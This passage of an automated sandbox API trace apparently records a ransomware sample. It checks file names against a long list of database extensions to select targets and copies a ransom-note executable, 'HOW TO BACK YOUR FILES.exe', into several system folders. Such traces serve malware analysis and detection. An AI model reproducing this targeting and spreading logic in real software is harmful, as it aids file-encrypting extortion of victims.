	[0080.433] lstrlenW (lpString="db2") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="db2") returned 1
	[0080.433] lstrlenW (lpString="db3") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="db3") returned 1
	[0080.433] lstrlenW (lpString="dbf") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="dbf") returned 1
	[0080.433] lstrlenW (lpString="mdf") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="mdf") returned 1
	[0080.433] lstrlenW (lpString="mdb") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="mdb") returned 1
	[0080.433] lstrlenW (lpString="sql") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="sql") returned -1
	[0080.433] lstrlenW (lpString="sqlite") returned 6
	[0080.433] lstrcmpiW (lpString1="se.sdf", lpString2="sqlite") returned -1
	[0080.433] lstrlenW (lpString="sqlite3") returned 7
	[0080.433] lstrcmpiW (lpString1="ase.sdf", lpString2="sqlite3") returned -1
	[0080.433] lstrlenW (lpString="sqlitedb") returned 8
	[0080.433] lstrcmpiW (lpString1="base.sdf", lpString2="sqlitedb") returned -1
	[0080.433] lstrlenW (lpString="xml") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="xml") returned -1
	[0080.433] lstrlenW (lpString="$er") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="$er") returned 1
	[0080.434] lstrlenW (lpString="4dd") returned 3
	[0080.434] lstrcmpiW (lpString1="sdf", lpString2="4dd") returned 1
	[0080.434] lstrlenW (lpString="4dl") returned 3
	[0080.434] lstrcmpiW (lpString1="sdf", lpString2="4dl") returned 1
	[0080.434] lstrlenW (lpString="^^^") returned 3
	[0080.434] lstrcmpiW (lpString1="sdf", lpString2="^^^") returned 1
	[0080.434] lstrlenW (lpString="abs") returned 3
	[0080.434] lstrcmpiW (lpString1="sdf", lpString2="abs") returned 1
	[0080.434] lstrlenW (lpString="abx") returned 3
	[0080.434] lstrcmpiW (lpString1="sdf", lpString2="abx") returned 1
	[0080.434] lstrlenW (lpString="accdb") returned 5
	[0080.434] lstrcmpiW (lpString1="e.sdf", lpString2="accdb") returned 1
	[0080.434] lstrlenW (lpString="accdc") returned 5
	[0080.434] lstrcmpiW (lpString1="e.sdf", lpString2="accdc") returned 1
	[0080.434] lstrlenW (lpString="accde") returned 5
	[0080.434] lstrcmpiW (lpString1="e.sdf", lpString2="accde") returned 1
	[0080.434] lstrlenW (lpString="accdr") returned 5
	[0080.434] lstrcmpiW (lpString1="e.sdf", lpString2="accdr") returned 1
	[0080.434] lstrlenW (lpString="accdt") returned 5
	[0080.434] lstrcmpiW (lpString1="e.sdf", lpString2="accdt") returned 1
	[0080.434] lstrlenW (lpString="accdw") returned 5
	[0080.434] lstrcmpiW (lpString1="e.sdf", lpString2="accdw") returned 1
	[0080.434] lstrlenW (lpString="accft") returned 5
	[0080.434] lstrcmpiW (lpString1="e.sdf", lpString2="accft") returned 1
	[0080.434] lstrlenW (lpString="adb") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0080.435] lstrlenW (lpString="adb") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0080.435] lstrlenW (lpString="ade") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="ade") returned 1
	[0080.435] lstrlenW (lpString="adf") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="adf") returned 1
	[0080.435] lstrlenW (lpString="adn") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="adn") returned 1
	[0080.435] lstrlenW (lpString="adp") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="adp") returned 1
	[0080.435] lstrlenW (lpString="alf") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="alf") returned 1
	[0080.435] lstrlenW (lpString="ask") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="ask") returned 1
	[0080.435] lstrlenW (lpString="btr") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="btr") returned 1
	[0080.435] lstrlenW (lpString="cat") returned 3
	[0080.435] lstrcmpiW (lpString1="sdf", lpString2="cat") returned 1
	[0080.435] lstrlenW (lpString="cdb") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="cdb") returned 1
	[0080.436] lstrlenW (lpString="ckp") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="ckp") returned 1
	[0080.436] lstrlenW (lpString="cma") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="cma") returned 1
	[0080.436] lstrlenW (lpString="cpd") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="cpd") returned 1
	[0080.436] lstrlenW (lpString="dacpac") returned 6
	[0080.436] lstrcmpiW (lpString1="se.sdf", lpString2="dacpac") returned 1
	[0080.436] lstrlenW (lpString="dad") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dad") returned 1
	[0080.436] lstrlenW (lpString="dadiagrams") returned 10
	[0080.436] lstrcmpiW (lpString1="tabase.sdf", lpString2="dadiagrams") returned 1
	[0080.436] lstrlenW (lpString="daschema") returned 8
	[0080.436] lstrcmpiW (lpString1="base.sdf", lpString2="daschema") returned -1
	[0080.436] lstrlenW (lpString="db-journal") returned 10
	[0080.436] lstrcmpiW (lpString1="tabase.sdf", lpString2="db-journal") returned 1
	[0080.436] lstrlenW (lpString="db-shm") returned 6
	[0080.436] lstrcmpiW (lpString1="se.sdf", lpString2="db-shm") returned 1
	[0080.436] lstrlenW (lpString="db-wal") returned 6
	[0080.436] lstrcmpiW (lpString1="se.sdf", lpString2="db-wal") returned 1
	[0080.436] lstrlenW (lpString="dbc") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dbc") returned 1
	[0080.436] lstrlenW (lpString="dbs") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dbs") returned 1
	[0080.436] lstrlenW (lpString="dbt") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dbt") returned 1
	[0080.436] lstrlenW (lpString="dbv") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dbv") returned 1
	[0080.436] lstrlenW (lpString="dbx") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dbx") returned 1
	[0080.436] lstrlenW (lpString="dcb") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dcb") returned 1
	[0080.436] lstrlenW (lpString="dct") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dct") returned 1
	[0080.436] lstrlenW (lpString="dcx") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="dcx") returned 1
	[0080.436] lstrlenW (lpString="ddl") returned 3
	[0080.436] lstrcmpiW (lpString1="sdf", lpString2="ddl") returned 1
	[0080.437] lstrlenW (lpString="dlis") returned 4
	[0080.437] lstrcmpiW (lpString1=".sdf", lpString2="dlis") returned -1
	[0080.437] lstrlenW (lpString="dp1") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="dp1") returned 1
	[0080.437] lstrlenW (lpString="dqy") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="dqy") returned 1
	[0080.437] lstrlenW (lpString="dsk") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="dsk") returned 1
	[0080.437] lstrlenW (lpString="dsn") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="dsn") returned 1
	[0080.437] lstrlenW (lpString="dtsx") returned 4
	[0080.437] lstrcmpiW (lpString1=".sdf", lpString2="dtsx") returned -1
	[0080.437] lstrlenW (lpString="dxl") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="dxl") returned 1
	[0080.437] lstrlenW (lpString="eco") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="eco") returned 1
	[0080.437] lstrlenW (lpString="ecx") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="ecx") returned 1
	[0080.437] lstrlenW (lpString="edb") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="edb") returned 1
	[0080.437] lstrlenW (lpString="epim") returned 4
	[0080.437] lstrcmpiW (lpString1=".sdf", lpString2="epim") returned -1
	[0080.437] lstrlenW (lpString="fcd") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="fcd") returned 1
	[0080.437] lstrlenW (lpString="fdb") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="fdb") returned 1
	[0080.437] lstrlenW (lpString="fic") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="fic") returned 1
	[0080.437] lstrlenW (lpString="flexolibrary") returned 12
	[0080.437] lstrcmpiW (lpString1="Database.sdf", lpString2="flexolibrary") returned -1
	[0080.437] lstrlenW (lpString="fm5") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="fm5") returned 1
	[0080.437] lstrlenW (lpString="fmp") returned 3
	[0080.437] lstrcmpiW (lpString1="sdf", lpString2="fmp") returned 1
	[0080.437] lstrlenW (lpString="fmp12") returned 5
	[0080.437] lstrcmpiW (lpString1="e.sdf", lpString2="fmp12") returned -1
	[0080.437] lstrlenW (lpString="fmpsl") returned 5
	[0080.437] lstrcmpiW (lpString1="e.sdf", lpString2="fmpsl") returned -1
	[0080.437] lstrlenW (lpString="fol") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="fol") returned 1
	[0080.438] lstrlenW (lpString="fp3") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="fp3") returned 1
	[0080.438] lstrlenW (lpString="fp4") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="fp4") returned 1
	[0080.438] lstrlenW (lpString="fp5") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="fp5") returned 1
	[0080.438] lstrlenW (lpString="fp7") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="fp7") returned 1
	[0080.438] lstrlenW (lpString="fpt") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="fpt") returned 1
	[0080.438] lstrlenW (lpString="frm") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="frm") returned 1
	[0080.438] lstrlenW (lpString="gdb") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="gdb") returned 1
	[0080.438] lstrlenW (lpString="gdb") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="gdb") returned 1
	[0080.438] lstrlenW (lpString="grdb") returned 4
	[0080.438] lstrcmpiW (lpString1=".sdf", lpString2="grdb") returned -1
	[0080.438] lstrlenW (lpString="gwi") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="gwi") returned 1
	[0080.438] lstrlenW (lpString="hdb") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="hdb") returned 1
	[0080.438] lstrlenW (lpString="his") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="his") returned 1
	[0080.438] lstrlenW (lpString="ib") returned 2
	[0080.438] lstrcmpiW (lpString1="df", lpString2="ib") returned -1
	[0080.438] lstrlenW (lpString="idb") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="idb") returned 1
	[0080.438] lstrlenW (lpString="ihx") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="ihx") returned 1
	[0080.438] lstrlenW (lpString="itdb") returned 4
	[0080.438] lstrcmpiW (lpString1=".sdf", lpString2="itdb") returned -1
	[0080.438] lstrlenW (lpString="itw") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="itw") returned 1
	[0080.438] lstrlenW (lpString="jet") returned 3
	[0080.438] lstrcmpiW (lpString1="sdf", lpString2="jet") returned 1
	[0080.438] lstrlenW (lpString="jtx") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="jtx") returned 1
	[0080.439] lstrlenW (lpString="kdb") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="kdb") returned 1
	[0080.439] lstrlenW (lpString="kexi") returned 4
	[0080.439] lstrcmpiW (lpString1=".sdf", lpString2="kexi") returned -1
	[0080.439] lstrlenW (lpString="kexic") returned 5
	[0080.439] lstrcmpiW (lpString1="e.sdf", lpString2="kexic") returned -1
	[0080.439] lstrlenW (lpString="kexis") returned 5
	[0080.439] lstrcmpiW (lpString1="e.sdf", lpString2="kexis") returned -1
	[0080.439] lstrlenW (lpString="lgc") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="lgc") returned 1
	[0080.439] lstrlenW (lpString="lwx") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="lwx") returned 1
	[0080.439] lstrlenW (lpString="maf") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="maf") returned 1
	[0080.439] lstrlenW (lpString="maq") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="maq") returned 1
	[0080.439] lstrlenW (lpString="mar") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mar") returned 1
	[0080.439] lstrlenW (lpString="marshal") returned 7
	[0080.439] lstrcmpiW (lpString1="ase.sdf", lpString2="marshal") returned -1
	[0080.439] lstrlenW (lpString="mas") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mas") returned 1
	[0080.439] lstrlenW (lpString="mav") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mav") returned 1
	[0080.439] lstrlenW (lpString="maw") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="maw") returned 1
	[0080.439] lstrlenW (lpString="mdbhtml") returned 7
	[0080.439] lstrcmpiW (lpString1="ase.sdf", lpString2="mdbhtml") returned -1
	[0080.439] lstrlenW (lpString="mdn") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mdn") returned 1
	[0080.439] lstrlenW (lpString="mdt") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mdt") returned 1
	[0080.439] lstrlenW (lpString="mfd") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mfd") returned 1
	[0080.439] lstrlenW (lpString="mpd") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mpd") returned 1
	[0080.439] lstrlenW (lpString="mrg") returned 3
	[0080.439] lstrcmpiW (lpString1="sdf", lpString2="mrg") returned 1
	[0080.440] lstrlenW (lpString="mud") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="mud") returned 1
	[0080.440] lstrlenW (lpString="mwb") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="mwb") returned 1
	[0080.440] lstrlenW (lpString="myd") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="myd") returned 1
	[0080.440] lstrlenW (lpString="ndf") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="ndf") returned 1
	[0080.440] lstrlenW (lpString="nnt") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="nnt") returned 1
	[0080.440] lstrlenW (lpString="nrmlib") returned 6
	[0080.440] lstrcmpiW (lpString1="se.sdf", lpString2="nrmlib") returned 1
	[0080.440] lstrlenW (lpString="ns2") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="ns2") returned 1
	[0080.440] lstrlenW (lpString="ns3") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="ns3") returned 1
	[0080.440] lstrlenW (lpString="ns4") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="ns4") returned 1
	[0080.440] lstrlenW (lpString="nsf") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="nsf") returned 1
	[0080.440] lstrlenW (lpString="nv") returned 2
	[0080.440] lstrcmpiW (lpString1="df", lpString2="nv") returned -1
	[0080.440] lstrlenW (lpString="nv2") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="nv2") returned 1
	[0080.440] lstrlenW (lpString="nwdb") returned 4
	[0080.440] lstrcmpiW (lpString1=".sdf", lpString2="nwdb") returned -1
	[0080.440] lstrlenW (lpString="nyf") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="nyf") returned 1
	[0080.440] lstrlenW (lpString="odb") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="odb") returned 1
	[0080.440] lstrlenW (lpString="odb") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="odb") returned 1
	[0080.440] lstrlenW (lpString="oqy") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="oqy") returned 1
	[0080.440] lstrlenW (lpString="ora") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="ora") returned 1
	[0080.440] lstrlenW (lpString="orx") returned 3
	[0080.440] lstrcmpiW (lpString1="sdf", lpString2="orx") returned 1
	[0080.441] lstrlenW (lpString="owc") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="owc") returned 1
	[0080.441] lstrlenW (lpString="p96") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="p96") returned 1
	[0080.441] lstrlenW (lpString="p97") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="p97") returned 1
	[0080.441] lstrlenW (lpString="pan") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="pan") returned 1
	[0080.441] lstrlenW (lpString="pdb") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="pdb") returned 1
	[0080.441] lstrlenW (lpString="pdm") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="pdm") returned 1
	[0080.441] lstrlenW (lpString="pnz") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="pnz") returned 1
	[0080.441] lstrlenW (lpString="qry") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="qry") returned 1
	[0080.441] lstrlenW (lpString="qvd") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="qvd") returned 1
	[0080.441] lstrlenW (lpString="rbf") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="rbf") returned 1
	[0080.441] lstrlenW (lpString="rctd") returned 4
	[0080.441] lstrcmpiW (lpString1=".sdf", lpString2="rctd") returned -1
	[0080.441] lstrlenW (lpString="rod") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="rod") returned 1
	[0080.441] lstrlenW (lpString="rodx") returned 4
	[0080.441] lstrcmpiW (lpString1=".sdf", lpString2="rodx") returned -1
	[0080.441] lstrlenW (lpString="rpd") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="rpd") returned 1
	[0080.441] lstrlenW (lpString="rsd") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="rsd") returned 1
	[0080.441] lstrlenW (lpString="sas7bdat") returned 8
	[0080.441] lstrcmpiW (lpString1="base.sdf", lpString2="sas7bdat") returned -1
	[0080.441] lstrlenW (lpString="sbf") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="sbf") returned 1
	[0080.441] lstrlenW (lpString="scx") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="scx") returned 1
	[0080.441] lstrlenW (lpString="sdb") returned 3
	[0080.441] lstrcmpiW (lpString1="sdf", lpString2="sdb") returned 1
	[0080.442] lstrlenW (lpString="sdc") returned 3
	[0080.442] lstrcmpiW (lpString1="sdf", lpString2="sdc") returned 1
	[0080.442] lstrlenW (lpString="sdf") returned 3
	[0080.442] lstrcmpiW (lpString1="sdf", lpString2="sdf") returned 0
	[0080.442] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x419ab0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0
	[0080.442] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.442] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0080.442] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound"
	[0080.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5985e8 | out: hHeap=0x580000) returned 1
	[0080.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0080.442] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned 41
	[0080.442] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound"
	[0080.442] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.442] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.442] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.443] GetLastError () returned 0x0
	[0080.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.443] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.443] CloseHandle (hObject=0x10c) returned 1
	[0080.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.443] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.443] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.443] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.443] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.443] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.443] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.443] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.443] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.443] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.443] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.443] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.443] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0080.443] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.444] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c10
	[0080.444] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform"
	[0080.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0080.444] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 61
	[0080.444] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform"
	[0080.444] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.444] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.445] GetLastError () returned 0x0
	[0080.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.445] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.445] CloseHandle (hObject=0x10c) returned 1
	[0080.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.445] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
